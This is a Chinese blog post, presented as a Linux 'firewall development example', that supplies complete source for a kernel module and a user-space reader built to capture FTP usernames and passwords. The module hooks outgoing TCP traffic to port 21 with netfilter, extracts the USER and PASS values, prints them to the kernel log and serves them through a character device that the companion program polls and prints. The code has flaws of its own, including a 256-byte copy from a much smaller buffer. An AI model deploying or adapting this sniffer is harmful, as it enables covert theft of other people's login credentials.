linux防火墙开发实例 获取FTP账号密码

代码里有注释

R0代码:

#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/cdev.h>
#include <linux/types.h>
#include <linux/netdevice.h>
#include <linux/skbuff.h>
#include <linux/netfilter_ipv4.h>
#include <linux/inet.h>
#include <linux/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/udp.h>

#define SECOND_MAJOR 0

//用于显示IP
#define NIPQUAD(addr) \ ((unsigned char *)&addr)[0], \
  ((unsigned char *)&addr)[1], \
  ((unsigned char *)&addr)[2], \
  ((unsigned char *)&addr)[3]

//通信端口
static int second_major = SECOND_MAJOR;
//注册通信端口时用到的结构 保存端口信息
struct cdev g_cdev;


char *g_UserName = NULL;
char *g_PassWord = NULL;
char *g_Retstr = NULL;

int second_open(struct inode *inode, struct file *filp)
{
  printk("Open!\n");
  return 0;    
}

int second_release(struct inode *inode, struct file *filp)
{
    printk("Release!\n");
    return 0;
}
static ssize_t second_read(struct file *filp, char __user *buf, size_t count, 
  loff_t *ppos)
{
  int ret = 0;
  //printk("Read!\n");
  if(g_UserName && g_PassWord && g_Retstr)
  {
  	if(*g_UserName == '\0' || *g_PassWord == '\0')
	{
		return 0;
	}
  	strcpy(g_Retstr,"UserID:");
	strcat(g_Retstr,g_UserName);
	strcat(g_Retstr," PassWord:");
	strcat(g_Retstr,g_PassWord);
  //断数据可以用put_user 字符串或大数据使用copy_to_user
    if (copy_to_user(buf,g_Retstr,256))
    {
       ret =  -EFAULT;
    }else
    {
       ret = 256;
    }
    memset(g_UserName,'\0',256);
	memset(g_PassWord,'\0',256);
  }

  return ret;
}

//通信分发函数设置
static const struct file_operations second_fops =
{
    .owner = THIS_MODULE,
    .open = second_open,//open
    .release = second_release,//close
    .read = second_read,//read
};

static unsigned int ipprint_func(
unsigned int hooknum,
struct sk_buff * skb,
const struct net_device *in,
const struct net_device *out,
int (*okfn) (struct sk_buff *))
{
    __be32 sip,dip;

    struct tcphdr *tcph = NULL;
    struct udphdr *udph = NULL;
    unsigned short sport = 0;
    unsigned short dport = 0;
    struct iphdr *iph;
    char *data = NULL;
    char *Username = NULL;
    char *PassWord = NULL;
    int i = 0;
    int len = 0;
    if(skb)
    {
        struct sk_buff *sb = NULL;
        sb = skb;
        //获取ip头
        iph  = ip_hdr(sb);
        //不说了
        sip = iph->saddr;
        dip = iph->daddr;

        //如果协议不是TCP就放过
        if(iph->protocol != IPPROTO_TCP)
          return NF_ACCEPT;   
      
      //获取tcp头
        /*
        ihl(Internet Header Length 报头长度),
        位于IP报文的第二个字段,4位,
        表示IP报文头部按32位字长(32位,4字节)计数的长度,也即报文头的长度等于IHL的值乘以4。 
        */
       tcph = (struct tcphdr *)((char *)skb->data + (int)(iph->ihl * 4));
       //要使用tcp_hdr 必须跳过ip头 也就是将ip端push出去
            //tcph = tcp_hdr(sb);
       //获得端口
        sport=ntohs(tcph->source);
        dport=ntohs(tcph->dest);
	 //printk("dPort:%u",dport);
        if(dport != 21)
          return NF_ACCEPT;
        //获取tcp数据
        data = (char *)((int)tcph + (int)(tcph->doff * 4));

        //下面的可以抓个FTP包看看就明白了
        if(strncmp(data,"USER",4) == 0)
        {
            //printk("Found User!\n");
            data += 5;
            while (*(data + i) != '\r' 
                && *(data + i) != '\n'
                && *(data + i) != '\0' 
                && i < 15) 
            {
                   len++;
                   i++;
            }

             if ((Username = kmalloc(len + 2, GFP_KERNEL)) == NULL)
             {
                printk("UserName is null !\n");
                return NF_ACCEPT;
             }
                  
            memset(Username, 0x0, len + 2);
            memcpy(Username, data, len);
            *(Username + len) = '\0';    
            if(strcmp(Username,"anonymous") == 0)
            {
              kfree(Username);
              Username = NULL;
            } 
          } else if(strncmp(data,"PASS",4) == 0)
          {
            //printk("Found PassWord!\n");
            data += 5;
            while (*(data + i) != '\r' 
                && *(data + i) != '\n'
                && *(data + i) != '\0' 
                && i < 15) 
            {
                   len++;
                   i++;
            }

              if ((PassWord = kmalloc(len + 2, GFP_KERNEL)) == NULL)
              {
                    printk("UserName is null !\n");
                    return NF_ACCEPT;
              }
                memset(PassWord,0x0,len+2);
                memcpy(PassWord,data,len);
                *(PassWord + len) = '\0';
                if(strstr(PassWord,"@"))
                {
                  kfree(PassWord);
                  PassWord=NULL;
                }
          }   else 
          {
		    //	printk("No Found FTP!\n");
               return NF_ACCEPT;
          }
        //printk("Packet for source address: %u.%u.%u.%u:%u destination address: %u.%u.%u.%u:%u\n ", NIPQUAD(sip),sport,NIPQUAD(dip),dport);
          if(Username)
          {
            printk("UserName:%s\n",Username);
            memset(g_UserName,0x0,256);
           // strcpy(g_UserName,Username);
			memcpy(g_UserName,Username,256);
            kfree(Username);
          }
          if(PassWord)
          {
            printk("PassWord:%s\n",PassWord);
            memset(g_PassWord,0x0,256);
           // strcpy(g_PassWord,PassWord);
		   memcpy(g_PassWord,PassWord,256);
            kfree(PassWord);
          }
    }
    return NF_ACCEPT;
}

//设置回调信息
 struct nf_hook_ops ipprint_ops = {
   .list =  {NULL,NULL},
   .hook = ipprint_func,//回调函数
   .pf = PF_INET,//协议 ipv4还是ipv6
   .hooknum = NF_INET_POST_ROUTING,//hook在什么地方
   //.hooknum = NF_INET_LOCAL_IN,
   .priority = NF_IP_PRI_FILTER+2//优先级
 };

static int __init ipprint_init(void) 
{
    int ret;
	int iDevno = 0;
  //从用户那里尝试获得一个设备号
    dev_t devno = MKDEV(second_major, 0);
    //如果用户没有指定 就直接申请一个
    if (second_major)
    {
        ret = register_chrdev_region(devno, 1, "second");
    }else
    {
        ret = alloc_chrdev_region(&devno, 0, 1, "second");
        second_major = MAJOR(devno);
    }
    if (ret < 0)
    {
        return ret;
    }
    /*if((g_cdev = (struct cdev)kmalloc(sizeof(struct cdev),GFP_KERNEL)) == NULL)
    {
        ret = -ENOMEM;
        unregister_chrdev_region(devno, 1);
        return ret;
    }
    memset(g_cdev,0x0,sizeof(struct cdev));*/

    //获得设备号
    iDevno = MKDEV(second_major,0);
    //初始化通信
    cdev_init(&g_cdev, &second_fops);
    g_cdev.owner = THIS_MODULE;
    g_cdev.ops = &second_fops;
    ret = cdev_add(&g_cdev, iDevno, 1);
    if (ret)
    {
        printk(KERN_NOTICE "Error %d add second%d", ret, 0);
    }

    g_UserName = kmalloc(256,GFP_KERNEL);
    g_PassWord = kmalloc(256,GFP_KERNEL);
	g_Retstr = kmalloc(256,GFP_KERNEL);
    if(g_UserName==NULL || g_PassWord==NULL || g_Retstr == NULL )
    {
        unregister_chrdev_region(devno, 1);
        /*if(g_cdev)
            kfree(g_cdev);*/
        return -ENOMEM;
    }
    //注册网络防火墙
    nf_register_hook(&ipprint_ops);
    printk("DriverEntry!\n");
    return 0;
}


static void __exit ipprint_exit(void) 
{
  nf_unregister_hook(&ipprint_ops);
  kfree(g_UserName);
  kfree(g_PassWord);
  kfree(g_Retstr);
  cdev_del(&g_cdev);
  //kfree(g_cdev);
  unregister_chrdev_region(MKDEV(second_major, 0), 1); 
  printk("DriverUnload!\n");
}

 module_init(ipprint_init);
 module_exit(ipprint_exit); 
 module_param(second_major, int, S_IRUGO);
 MODULE_AUTHOR("djwow");
 MODULE_DESCRIPTION("GetFtpPassTest");
MODULE_LICENSE("GPL");

R3代码:

#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <malloc.h>

int main(void)
{
    int fd, i;
    int data;
	//char *strFtp = malloc(256);
	//memset(strFtp,'\0',256);
	char strFtp[256] = {0};
    fd = open("/dev/second",O_RDONLY);
    if (fd < 0)
    {
        printf("open /dev/second error\n");
    }
	printf("input any key Get Ftp\n");
	getchar();
    
	while(1)
	{
    	read(fd, strFtp, 256);
		if(*strFtp!='\0')
		{
			printf("%s\n",strFtp);
			printf("input any key Exit....\n");
			getchar();
			break;
		}
		sleep(1);
	}	
    close(fd);
}

付一个FTP包

linux防火墙开发实例 获取FTP账号密码_第1张图片

你可能感兴趣的:(Linux防火墙,LinuxFTP)